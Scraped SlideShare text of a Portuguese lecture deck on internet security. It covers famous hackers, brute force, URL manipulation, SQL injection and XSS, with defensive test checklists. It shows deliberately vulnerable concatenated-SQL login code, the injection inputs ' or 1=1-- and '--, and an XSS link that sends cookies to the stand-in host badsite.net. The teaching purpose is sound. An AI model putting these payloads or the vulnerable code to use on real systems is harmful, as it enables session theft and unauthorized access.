SlideShare a Scribd company logo
1 of 44
Download to read offline
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2013
Segurança da Internet
Ricardo Terra
rterrabh [at] gmail.com
Segurança da Internet 1Outubro, 2012
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2013
CV
Nome: Ricardo Terra
Email: rterrabh [at] gmail.com
www: ricardoterra.com.br
Twitter: rterrabh
Lattes: lattes.cnpq.br/ 0162081093970868
Ph.D. (UFMG/UWaterloo),
Post-Ph.D. (INRIA/Université Lille 1)
Background
Acadêmico: UFLA (desde 2014), UFSJ (1 ano), FUMEC (3 anos), UNIPAC (1 ano), FAMINAS (3 anos)
Profissional: DBA Eng. (1 ano), Synos (2 anos), Stefanini (1 ano)
Segurança da Internet 2Outubro, 2012
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012
Segurança de Redes (Histórico)
§  Robert Tappan Morris
§  Primeiro worm (similar a um vírus, porém é um programa
completo, não precisa de um outro programa para se
propagar) da Internet
§  O programa principal consistia em menos de 100 linhas de
código em C
§  6.000 computadores infectados, só nos EUA, em 24 horas
§  Efeitos:
§  Infecção
§  Sobrecarga
§  Incapacitação
§  Atualmente
professor do MIT
3Segurança da Internet
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 4Segurança da Internet
Segurança de Redes (Histórico)
§  Kevin Poulsen
§  primeiro grande hacker da Internet
§  Invadiu, entre outros,
§  a marinha americana
§  diversas Universidades, como UCLA
§  rádio americana KIIS-FM, 102º ligador e ganhava um
Porche 944 S2
§  A partir daí, criou-se a lei americana contra “invasões” em
redes
§  Trabalhou posteriormente
para o governo americano
§  Foi jornalista da SecurityFocus
e atualmente é editor sênior
da Wired News
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 5Segurança da Internet
Segurança de Redes (Histórico)
§  Kevin Mitnick
§  O mais famoso
§  Foi preso e já foi solto
§  Invadiu
§  FBI
§  Universidades, etc
§  Seu ataque foi muito sofisticado e sem
“solução” até os dias
atuais
§  Utilizava práticas de
engenharia social
§  Atualmente proprietário
da Mitnick Security
Consulting
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 6Segurança da Internet
Segurança de Redes (Histórico)
§  Mais sobre Kevin Mitnick
§  Dos 37 aos 40 anos foi proibido de acessar qualquer meio
de comunicação com exceção de telefone fixo
§  Liberdade condicional
§  Sua empresa – Mitnick Security Consulting – foi invadida
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 7Segurança da Internet
Teoria evolucionista de Darwin
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 8Segurança da Internet
O que é?
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 9Segurança da Internet
Quem geralmente é?
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 10Segurança da Internet
Ataque às pessoas...
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 11Segurança da Internet
Ataque às empresas...
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 12Segurança da Internet
Atualmente nas grandes áreas
§  Database Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 13Segurança da Internet
Atualmente nas grandes áreas
§  Network Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 14Segurança da Internet
Atualmente nas grandes áreas
§  Application Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 15Segurança da Internet
Atualmente nas grandes áreas
§  Web application Security
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 16Segurança da Internet
Começando...
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 17Segurança da Internet
Introdução
§  Os ataques a serviços de rede estão se tornando muito
sofisticados
§  criatividade humana
§  Mas o que falta?
§  APLICAÇÕES! Mas será que é possível?
§  Atualmente a maioria dos BUG’s reportados estão em
aplicações
§  Application Security ≠ Network Security
§  Quem provê acesso aos dados? As aplicações!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 18Segurança da Internet
Lendas
§  Não há problemas de segurança
§  Até que ela seja violada
§  Erros de runtime (tempo de execução) não são problemas
§  Expõem informações altamente relevantes
§  Consumem recurso do servidor
§  Deve ser tratados
§  Web Services não são vulneráveis
§  Quase nunca testados e raramente a segurança é
considerada
§  Solução
§  Testes de penetração. São caros!!!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 19Segurança da Internet
Objetivos
§  Demonstrar alguns desses ataques
§  Pois, para nos protegermos temos de entender as táticas e as
armas de nosso inimigo
§  Além disso, temos que ter nossas armas para nos defender
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 20Segurança da Internet
Ataques
§  Força Bruta
§  URL Manipulation
§  SQL Injection
§  XSS Cross Site Scripting
§  E o HTTPS? Se utilizarmos, nossa aplicação é segura?!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 21Segurança da Internet
Arquitetura TCP/IP
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012Segurança da Internet
Força Bruta
§  Tentar todas as possibilidades...
22
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012Segurança da Internet
Força Bruta
§  Exemplo Motivador: SINEF
§  Técnicas para evitar
§  Limite de Tentativas
§  Você utilizou 5 tentativas. Usuário bloqueado.
§  Tempo de Ociosidade
§  Você utilizou 5 tentativas. Usuário bloqueado por 30 minutos.!
§  Imagem
23
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012
Força Bruta
§  Como fazer?
§  Descobrir o formulário e o nome do seus campos
§  Bolar um algoritmo para gerar todas as combinações
§  Ir tentando…
§  Tome cuidado que é possível descobrí-lo pelo seu IP
§  Não use para o mal:
§  www.peladeiro.com.br
§  qualquer outro... deixo com vocês...
Segurança da Internet 24
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 25Segurança da Internet
URL Manipulation
§  O método GET do Protocolo HTTP requisita informações
importantes na URL
§  Portanto, os parâmetros podem ser manipulados para se
obter resultados satisfatórios ou, no mínimo, "interessantes"
§  O impacto é ALTO
§  Vamos ver um exemplo didádico e procurar alguma brecha
dessas na Internet
§  Não necessariamente uma brecha seja uma vulnerabilidade
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 26Segurança da Internet
URL Manipulation
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 27Segurança da Internet
URL Manipulation
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 28Segurança da Internet
URL Manipulation
§  Alguns possíveis testes:
§  Verificar se algum parâmetro é passado via HTTP GET
§  Verificar se os dados sensíveis armazenados no cookie
estão encriptados
§  Verificar que dados sensíveis não são armazenados no
cache
§  Verificar se os dados encriptados estão voltando
corretamente
§  Verificar que além dos parâmetros os campos também estão
sendo encriptados
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 29Segurança da Internet
SQL Injection
§  A idéia é injetar um comando SQL ou algum comando como o
valor de entrada de algum campo de um formulário WEB
§  Todos os parâmetros passados são direcionados para o banco
de dados
§  O atacante pode manipular com as tabelas e dados diretamente
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 30Segurança da Internet
SQL Injection
§  Causas:
public boolean onLogon(String nome, String senha){
boolean result = false;
Connection conn = null;
try {
conn = ServiceLocator.getConnection();
Statement st = conn.createStatement();
ResultSet rs =
st.executeQuery("select 1 from USUARIO where NOME = '" + nome
+ "' and SENHA = '" + senha + "'");
result = rs.next();
...
} catch (SQLException e) {
...
} finally {
...
}
return result;
}
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 31Segurança da Internet
SQL Injection
ESPERADO
nome: chaves
senha: kiko!
Quando submetido a query será montada como a seguinte:
select 1 from USUARIO !
! !where NOME = 'chaves' and SENHA = 'kiko'
NÃO ESPERADO
nome: abc'--
senha: kiko!
Quando submetido a query será montada como a seguinte:
select 1 from USUARIO !
! !where NOME = 'abc’-- and SENHA = ''
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 32Segurança da Internet
SQL Injection
ESPERADO
nome: doug
senha: f@c01!
Quando submetido a query será montada como a seguinte:
select 1 from USUARIO !
! !where NOME = 'doug' and SENHA = 'f@c01'
NÃO ESPERADO
nome: a
senha: b' or 1=1--!
Quando submetido a query será montada como a seguinte:
select 1 from USUARIO !
! !where NOME = 'a' and SENHA = 'b' or 1=1--'
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 33Segurança da Internet
SQL Injection
§  Além disso, tem como:
§  Identificar campos de uma tabela
§  Verificar se a tabela existe
§  Procurar por usuários
§  Ataques de força bruta
§  Verificar permissões
§  Criar um usuário
§  Alterar dados
§  Determinar qual SGBD e a versão do SGBD
§  Interagir com o S.O.
§  Manipular informações da rede
§  Modificar o registro do Windows
§  Obter senha do VNC
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 34Segurança da Internet
SQL Injection
§  Alguns testes:
§  Identifique os parâmetros, html e xml tags utilizados na
aplicação web
§  Substitua o conteúdo dos parâmetros por todos caracteres
utilizados em um ataque de injeção de SQL
§  Verifique que as queries foram substituídas por stored
procedures
§  Verificar se as mensagens de erro fornecem alguma
informação
§  Verifique que os usuários da aplicação web tem o menor
nível de acessibilidade possível no banco de dados
§  (continua...)
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 35Segurança da Internet
SQL Injection
§  Verificar se todos os campos do formulário estão sendo
validados
§  Verificar se existe limite para uploads
§  Verificar que a aplicação não aceita: dados binários,
caracteres de comentário etc
§  etc
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 36Segurança da Internet
XSS Cross Site Scripting
§  É uma vulnerabilidade tipicamente encontrada em aplicações
web que permitem injeção de código por usuários maliciosos em
páginas vistas por outros usuários
§  Exemplos de tais códigos são código HTML e scripts executados
no lado do cliente (JavaScript, por exemplo)
§  Uma exploração comum é utilizar uma vulnerabilidade de
execução de scripts para ultrapassar a política de segurança
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 37Segurança da Internet
XSS Cross Site Scripting
§  Não existe a ligação entre o ID do login e o ID da sessão
§  A sessão do usuário pode ser roubada
§  A ideia é obter de alguma forma o ID da sessão
§  Impacto é alto
§  Pois, o usuário malicioso tem TODOS os privilégios do
usuário autorizado
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 38Segurança da Internet
XSS Cross Site Scripting
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 39Segurança da Internet
XSS Cross Site Scripting
§  Um exemplo:
§  Pode se receber um e-mail com um link
§  O resultado é enviado para um site
http://www.mymail.com?
search="<script>window.navigate("http://
badsite.net/steal.asp?
cookie="+document.cookie)</script>"
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 40Segurança da Internet
XSS Cross Site Scripting
§  Solução:
§  Sempre valide a sessão com login e os parâmetros críticos
§  Como IP da máquina de origem e, até mesmo, o
endereço MAC da máquina do cliente
§  Alguns testes:
§  Verificar os posts disponíveis na aplicação
§  Verificar que as sessões são sempre verificadas
§  Verificar os cookies não proveem dados sensíveis
§  Verificar que não é possível executar outro script dentro da
aplicação
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 41Segurança da Internet
Considerações Finais
§  Não há segurança de sistemas sem a conjunção de três fatores
§  Boas praticas de codificação
§  Metodologia adequada (projeto, arquitetura etc)
§  Testes, testes e testes!!!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 42Segurança da Internet
Dúvidas?
???
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 43Segurança da Internet
Ricardo Terra
rterrabh@gmail.com
Apresentação disponível em:
www.ricardoterra.com.br/palestras
Principais referências bibliográficas:
ASSAD, Rodrigo. Testando Segurança em aplicações WEB. Recife:
III Encontro Brasileiro de Testes de Software, 2008.
SILBERSCHATZ. A.; KORTH, H. F.; SUDARSHAN, S. Sistemas
de bancos de dados. Tradução de Daniel Vieira. Rio de Janeiro:
Editora Campus, 2006. Título original: Database system concepts. 5 ed.
Obrigado!
Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 44Segurança da Internet
Outras referências bibliográficas
§  http://en.wikipedia.org/wiki/Robert_Tappan_Morris
§  http://en.wikipedia.org/wiki/Kevin_Poulsen
§  http://en.wikipedia.org/wiki/Kevin_Mitnick

More Related Content

Similar to Segurança da Internet

Similar to Segurança da Internet (20)

Espionagem e Software Livre
Espionagem e Software LivreEspionagem e Software Livre
Espionagem e Software Livre
 
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - ApresentaçãoDesenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
Desenvolvimento Seguro de Software - 10o Workshop SegInfo - Apresentação
 
Codacy, CodeClimate, Sonarqube @ 5º DevOps Inside RJ
Codacy, CodeClimate, Sonarqube @ 5º DevOps Inside RJCodacy, CodeClimate, Sonarqube @ 5º DevOps Inside RJ
Codacy, CodeClimate, Sonarqube @ 5º DevOps Inside RJ
 
Segurança no Android
Segurança no AndroidSegurança no Android
Segurança no Android
 
Palestra: Tendências e Desafios da Segurança na Internet
Palestra: Tendências e Desafios da Segurança na InternetPalestra: Tendências e Desafios da Segurança na Internet
Palestra: Tendências e Desafios da Segurança na Internet
 
Guerra cibernética - Impacta
Guerra cibernética - ImpactaGuerra cibernética - Impacta
Guerra cibernética - Impacta
 
Pwn3d IoT - CryptoRave 2017
Pwn3d IoT - CryptoRave 2017Pwn3d IoT - CryptoRave 2017
Pwn3d IoT - CryptoRave 2017
 
Dados Abertos - Tecnologias e conceitos
Dados Abertos - Tecnologias e conceitosDados Abertos - Tecnologias e conceitos
Dados Abertos - Tecnologias e conceitos
 
Fundamentos de Segurança da Informação
Fundamentos de Segurança da InformaçãoFundamentos de Segurança da Informação
Fundamentos de Segurança da Informação
 
Seguranca e Criptografia de Dados
Seguranca e Criptografia de DadosSeguranca e Criptografia de Dados
Seguranca e Criptografia de Dados
 
Rastreabilidade na Internet das (muitas) Coisas
Rastreabilidade na Internet das (muitas) CoisasRastreabilidade na Internet das (muitas) Coisas
Rastreabilidade na Internet das (muitas) Coisas
 
Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)Testes de Segurança de Software (tech-ed 2008)
Testes de Segurança de Software (tech-ed 2008)
 
Segurança na Nuvem
Segurança na NuvemSegurança na Nuvem
Segurança na Nuvem
 
Segurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultadosSegurança em aplicações web: pequenas ideias, grandes resultados
Segurança em aplicações web: pequenas ideias, grandes resultados
 
Segurança da Informação na era do Software Livre - FLISOL DF 2011
 Segurança da Informação na era do Software Livre - FLISOL DF 2011 Segurança da Informação na era do Software Livre - FLISOL DF 2011
Segurança da Informação na era do Software Livre - FLISOL DF 2011
 
teste de invasão
teste de invasãoteste de invasão
teste de invasão
 
D do s
D do sD do s
D do s
 
II Bemobi Tech Talk - NoSQL
II Bemobi Tech Talk - NoSQLII Bemobi Tech Talk - NoSQL
II Bemobi Tech Talk - NoSQL
 
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio GrandeInsegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
Insegurança na Internet - Diego Luiz Silva da Costa - Tchelinux 2019 Rio Grande
 
XSS Desvendado
XSS DesvendadoXSS Desvendado
XSS Desvendado
 

More from Ricardo Terra

Apostila Linguagens Formais e Autômatos (LFA)
Apostila Linguagens Formais e Autômatos (LFA)Apostila Linguagens Formais e Autômatos (LFA)
Apostila Linguagens Formais e Autômatos (LFA)
Ricardo Terra
 

More from Ricardo Terra (20)

Microsserviços com Spring Boot e ORM
Microsserviços com Spring Boot e ORMMicrosserviços com Spring Boot e ORM
Microsserviços com Spring Boot e ORM
 
Apostila Linguagens Formais e Autômatos (LFA)
Apostila Linguagens Formais e Autômatos (LFA)Apostila Linguagens Formais e Autômatos (LFA)
Apostila Linguagens Formais e Autômatos (LFA)
 
Análise Estática de Código: Aplicações
Análise Estática de Código: AplicaçõesAnálise Estática de Código: Aplicações
Análise Estática de Código: Aplicações
 
Engenharia de Software: POC
Engenharia de Software: POCEngenharia de Software: POC
Engenharia de Software: POC
 
Which Programming Language is the best one?
Which Programming Language is the best one?Which Programming Language is the best one?
Which Programming Language is the best one?
 
Refactoring
RefactoringRefactoring
Refactoring
 
Matemática Computacional
Matemática ComputacionalMatemática Computacional
Matemática Computacional
 
English---and LaTeX---Writing Tips
English---and LaTeX---Writing TipsEnglish---and LaTeX---Writing Tips
English---and LaTeX---Writing Tips
 
Casamento de Padrões
Casamento de PadrõesCasamento de Padrões
Casamento de Padrões
 
Apostila Algoritmos e Estrutura de Dados (AEDS)
Apostila Algoritmos e Estrutura de Dados (AEDS)Apostila Algoritmos e Estrutura de Dados (AEDS)
Apostila Algoritmos e Estrutura de Dados (AEDS)
 
Software Architecture
Software ArchitectureSoftware Architecture
Software Architecture
 
Aula Zero
Aula ZeroAula Zero
Aula Zero
 
Apostila Tecnologia da Informação (TI)
Apostila Tecnologia da Informação (TI)Apostila Tecnologia da Informação (TI)
Apostila Tecnologia da Informação (TI)
 
Apostila XML, DTD, XSD e XSLT
Apostila XML, DTD, XSD e XSLTApostila XML, DTD, XSD e XSLT
Apostila XML, DTD, XSD e XSLT
 
Java JDBC: Aplicação Java que acessa um SGDB
Java JDBC: Aplicação Java que acessa um SGDBJava JDBC: Aplicação Java que acessa um SGDB
Java JDBC: Aplicação Java que acessa um SGDB
 
Apostila UML
Apostila UMLApostila UML
Apostila UML
 
Apostila Modelo ER (Entidade Relacionamento)
Apostila Modelo ER (Entidade Relacionamento)Apostila Modelo ER (Entidade Relacionamento)
Apostila Modelo ER (Entidade Relacionamento)
 
Análise Estática de Código
Análise Estática de CódigoAnálise Estática de Código
Análise Estática de Código
 
Apostila XHTML
Apostila XHTMLApostila XHTML
Apostila XHTML
 
Apostila Oracle
Apostila OracleApostila Oracle
Apostila Oracle
 

Recently uploaded

A EDUCAÇÃO FÍSICA NO NOVO ENSINO MÉDIO: IMPLICAÇÕES E TENDÊNCIAS PROMOVIDAS P...
A EDUCAÇÃO FÍSICA NO NOVO ENSINO MÉDIO: IMPLICAÇÕES E TENDÊNCIAS PROMOVIDAS P...A EDUCAÇÃO FÍSICA NO NOVO ENSINO MÉDIO: IMPLICAÇÕES E TENDÊNCIAS PROMOVIDAS P...
A EDUCAÇÃO FÍSICA NO NOVO ENSINO MÉDIO: IMPLICAÇÕES E TENDÊNCIAS PROMOVIDAS P...
PatriciaCaetano18
 
Responde ou passa na HISTÓRIA - REVOLUÇÃO INDUSTRIAL - 8º ANO.pptx
Responde ou passa na HISTÓRIA - REVOLUÇÃO INDUSTRIAL - 8º ANO.pptxResponde ou passa na HISTÓRIA - REVOLUÇÃO INDUSTRIAL - 8º ANO.pptx
Responde ou passa na HISTÓRIA - REVOLUÇÃO INDUSTRIAL - 8º ANO.pptx
AntonioVieira539017
 
PROJETO DE EXTENSÃO I - TECNOLOGIA DA INFORMAÇÃO Relatório Final de Atividade...
PROJETO DE EXTENSÃO I - TECNOLOGIA DA INFORMAÇÃO Relatório Final de Atividade...PROJETO DE EXTENSÃO I - TECNOLOGIA DA INFORMAÇÃO Relatório Final de Atividade...
PROJETO DE EXTENSÃO I - TECNOLOGIA DA INFORMAÇÃO Relatório Final de Atividade...
HELENO FAVACHO
 
Teoria heterotrófica e autotrófica dos primeiros seres vivos..pptx
Teoria heterotrófica e autotrófica dos primeiros seres vivos..pptxTeoria heterotrófica e autotrófica dos primeiros seres vivos..pptx
Teoria heterotrófica e autotrófica dos primeiros seres vivos..pptx
TailsonSantos1
 

Recently uploaded (20)

A EDUCAÇÃO FÍSICA NO NOVO ENSINO MÉDIO: IMPLICAÇÕES E TENDÊNCIAS PROMOVIDAS P...
A EDUCAÇÃO FÍSICA NO NOVO ENSINO MÉDIO: IMPLICAÇÕES E TENDÊNCIAS PROMOVIDAS P...A EDUCAÇÃO FÍSICA NO NOVO ENSINO MÉDIO: IMPLICAÇÕES E TENDÊNCIAS PROMOVIDAS P...
A EDUCAÇÃO FÍSICA NO NOVO ENSINO MÉDIO: IMPLICAÇÕES E TENDÊNCIAS PROMOVIDAS P...
 
PROJETO DE EXTENSÃO I - Radiologia Tecnologia
PROJETO DE EXTENSÃO I - Radiologia TecnologiaPROJETO DE EXTENSÃO I - Radiologia Tecnologia
PROJETO DE EXTENSÃO I - Radiologia Tecnologia
 
About Vila Galé- Cadeia Empresarial de Hotéis
About Vila Galé- Cadeia Empresarial de HotéisAbout Vila Galé- Cadeia Empresarial de Hotéis
About Vila Galé- Cadeia Empresarial de Hotéis
 
migração e trabalho 2º ano.pptx fenomenos
migração e trabalho 2º ano.pptx fenomenosmigração e trabalho 2º ano.pptx fenomenos
migração e trabalho 2º ano.pptx fenomenos
 
Estudar, para quê? Ciência, para quê? Parte 1 e Parte 2
Estudar, para quê?  Ciência, para quê? Parte 1 e Parte 2Estudar, para quê?  Ciência, para quê? Parte 1 e Parte 2
Estudar, para quê? Ciência, para quê? Parte 1 e Parte 2
 
Responde ou passa na HISTÓRIA - REVOLUÇÃO INDUSTRIAL - 8º ANO.pptx
Responde ou passa na HISTÓRIA - REVOLUÇÃO INDUSTRIAL - 8º ANO.pptxResponde ou passa na HISTÓRIA - REVOLUÇÃO INDUSTRIAL - 8º ANO.pptx
Responde ou passa na HISTÓRIA - REVOLUÇÃO INDUSTRIAL - 8º ANO.pptx
 
TCC_MusicaComoLinguagemNaAlfabetização-ARAUJOfranklin-UFBA.pdf
TCC_MusicaComoLinguagemNaAlfabetização-ARAUJOfranklin-UFBA.pdfTCC_MusicaComoLinguagemNaAlfabetização-ARAUJOfranklin-UFBA.pdf
TCC_MusicaComoLinguagemNaAlfabetização-ARAUJOfranklin-UFBA.pdf
 
Sistema de Bibliotecas UCS - Cantos do fim do século
Sistema de Bibliotecas UCS  - Cantos do fim do séculoSistema de Bibliotecas UCS  - Cantos do fim do século
Sistema de Bibliotecas UCS - Cantos do fim do século
 
PROJETO DE EXTENÇÃO - GESTÃO DE RECURSOS HUMANOS.pdf
PROJETO DE EXTENÇÃO - GESTÃO DE RECURSOS HUMANOS.pdfPROJETO DE EXTENÇÃO - GESTÃO DE RECURSOS HUMANOS.pdf
PROJETO DE EXTENÇÃO - GESTÃO DE RECURSOS HUMANOS.pdf
 
Conflitos entre: ISRAEL E PALESTINA.pdf
Conflitos entre:  ISRAEL E PALESTINA.pdfConflitos entre:  ISRAEL E PALESTINA.pdf
Conflitos entre: ISRAEL E PALESTINA.pdf
 
aula de bioquímica bioquímica dos carboidratos.ppt
aula de bioquímica bioquímica dos carboidratos.pptaula de bioquímica bioquímica dos carboidratos.ppt
aula de bioquímica bioquímica dos carboidratos.ppt
 
PROJETO DE EXTENSÃO I - TECNOLOGIA DA INFORMAÇÃO Relatório Final de Atividade...
PROJETO DE EXTENSÃO I - TECNOLOGIA DA INFORMAÇÃO Relatório Final de Atividade...PROJETO DE EXTENSÃO I - TECNOLOGIA DA INFORMAÇÃO Relatório Final de Atividade...
PROJETO DE EXTENSÃO I - TECNOLOGIA DA INFORMAÇÃO Relatório Final de Atividade...
 
Introdução às Funções 9º ano: Diagrama de flexas, Valor numérico de uma funçã...
Introdução às Funções 9º ano: Diagrama de flexas, Valor numérico de uma funçã...Introdução às Funções 9º ano: Diagrama de flexas, Valor numérico de uma funçã...
Introdução às Funções 9º ano: Diagrama de flexas, Valor numérico de uma funçã...
 
O que é arte. Definição de arte. História da arte.
O que é arte. Definição de arte. História da arte.O que é arte. Definição de arte. História da arte.
O que é arte. Definição de arte. História da arte.
 
Teoria heterotrófica e autotrófica dos primeiros seres vivos..pptx
Teoria heterotrófica e autotrófica dos primeiros seres vivos..pptxTeoria heterotrófica e autotrófica dos primeiros seres vivos..pptx
Teoria heterotrófica e autotrófica dos primeiros seres vivos..pptx
 
Slides Lição 6, CPAD, As Nossas Armas Espirituais, 2Tr24.pptx
Slides Lição 6, CPAD, As Nossas Armas Espirituais, 2Tr24.pptxSlides Lição 6, CPAD, As Nossas Armas Espirituais, 2Tr24.pptx
Slides Lição 6, CPAD, As Nossas Armas Espirituais, 2Tr24.pptx
 
Pesquisa Ação René Barbier Livro acadêmico
Pesquisa Ação René Barbier Livro  acadêmicoPesquisa Ação René Barbier Livro  acadêmico
Pesquisa Ação René Barbier Livro acadêmico
 
Aula 25 - A america espanhola - colonização, exploraçãp e trabalho (mita e en...
Aula 25 - A america espanhola - colonização, exploraçãp e trabalho (mita e en...Aula 25 - A america espanhola - colonização, exploraçãp e trabalho (mita e en...
Aula 25 - A america espanhola - colonização, exploraçãp e trabalho (mita e en...
 
Produção de Texto - 5º ano - CRÔNICA.pptx
Produção de Texto - 5º ano - CRÔNICA.pptxProdução de Texto - 5º ano - CRÔNICA.pptx
Produção de Texto - 5º ano - CRÔNICA.pptx
 
6ano variação linguística ensino fundamental.pptx
6ano variação linguística ensino fundamental.pptx6ano variação linguística ensino fundamental.pptx
6ano variação linguística ensino fundamental.pptx
 

Segurança da Internet

  • 1. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2013 Segurança da Internet Ricardo Terra rterrabh [at] gmail.com Segurança da Internet 1Outubro, 2012
  • 2. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2013 CV Nome: Ricardo Terra Email: rterrabh [at] gmail.com www: ricardoterra.com.br Twitter: rterrabh Lattes: lattes.cnpq.br/ 0162081093970868 Ph.D. (UFMG/UWaterloo), Post-Ph.D. (INRIA/Université Lille 1) Background Acadêmico: UFLA (desde 2014), UFSJ (1 ano), FUMEC (3 anos), UNIPAC (1 ano), FAMINAS (3 anos) Profissional: DBA Eng. (1 ano), Synos (2 anos), Stefanini (1 ano) Segurança da Internet 2Outubro, 2012
  • 3. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 Segurança de Redes (Histórico) §  Robert Tappan Morris §  Primeiro worm (similar a um vírus, porém é um programa completo, não precisa de um outro programa para se propagar) da Internet §  O programa principal consistia em menos de 100 linhas de código em C §  6.000 computadores infectados, só nos EUA, em 24 horas §  Efeitos: §  Infecção §  Sobrecarga §  Incapacitação §  Atualmente professor do MIT 3Segurança da Internet
  • 4. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 4Segurança da Internet Segurança de Redes (Histórico) §  Kevin Poulsen §  primeiro grande hacker da Internet §  Invadiu, entre outros, §  a marinha americana §  diversas Universidades, como UCLA §  rádio americana KIIS-FM, 102º ligador e ganhava um Porche 944 S2 §  A partir daí, criou-se a lei americana contra “invasões” em redes §  Trabalhou posteriormente para o governo americano §  Foi jornalista da SecurityFocus e atualmente é editor sênior da Wired News
  • 5. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 5Segurança da Internet Segurança de Redes (Histórico) §  Kevin Mitnick §  O mais famoso §  Foi preso e já foi solto §  Invadiu §  FBI §  Universidades, etc §  Seu ataque foi muito sofisticado e sem “solução” até os dias atuais §  Utilizava práticas de engenharia social §  Atualmente proprietário da Mitnick Security Consulting
  • 6. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 6Segurança da Internet Segurança de Redes (Histórico) §  Mais sobre Kevin Mitnick §  Dos 37 aos 40 anos foi proibido de acessar qualquer meio de comunicação com exceção de telefone fixo §  Liberdade condicional §  Sua empresa – Mitnick Security Consulting – foi invadida
  • 7. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 7Segurança da Internet Teoria evolucionista de Darwin
  • 8. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 8Segurança da Internet O que é?
  • 9. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 9Segurança da Internet Quem geralmente é?
  • 10. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 10Segurança da Internet Ataque às pessoas...
  • 11. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 11Segurança da Internet Ataque às empresas...
  • 12. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 12Segurança da Internet Atualmente nas grandes áreas §  Database Security
  • 13. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 13Segurança da Internet Atualmente nas grandes áreas §  Network Security
  • 14. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 14Segurança da Internet Atualmente nas grandes áreas §  Application Security
  • 15. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 15Segurança da Internet Atualmente nas grandes áreas §  Web application Security
  • 16. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 16Segurança da Internet Começando...
  • 17. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 17Segurança da Internet Introdução §  Os ataques a serviços de rede estão se tornando muito sofisticados §  criatividade humana §  Mas o que falta? §  APLICAÇÕES! Mas será que é possível? §  Atualmente a maioria dos BUG’s reportados estão em aplicações §  Application Security ≠ Network Security §  Quem provê acesso aos dados? As aplicações!
  • 18. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 18Segurança da Internet Lendas §  Não há problemas de segurança §  Até que ela seja violada §  Erros de runtime (tempo de execução) não são problemas §  Expõem informações altamente relevantes §  Consumem recurso do servidor §  Deve ser tratados §  Web Services não são vulneráveis §  Quase nunca testados e raramente a segurança é considerada §  Solução §  Testes de penetração. São caros!!!
  • 19. Ricardo Terra (rterrabh [at] gmail.com) Outubro, 2012 19Segurança da Internet Objetivos §  Demonstrar alguns desses ataques §  Pois, para nos protegermos temos de entender as táticas e as armas de nosso inimigo §  Além disso, temos que ter nossas armas para nos defender
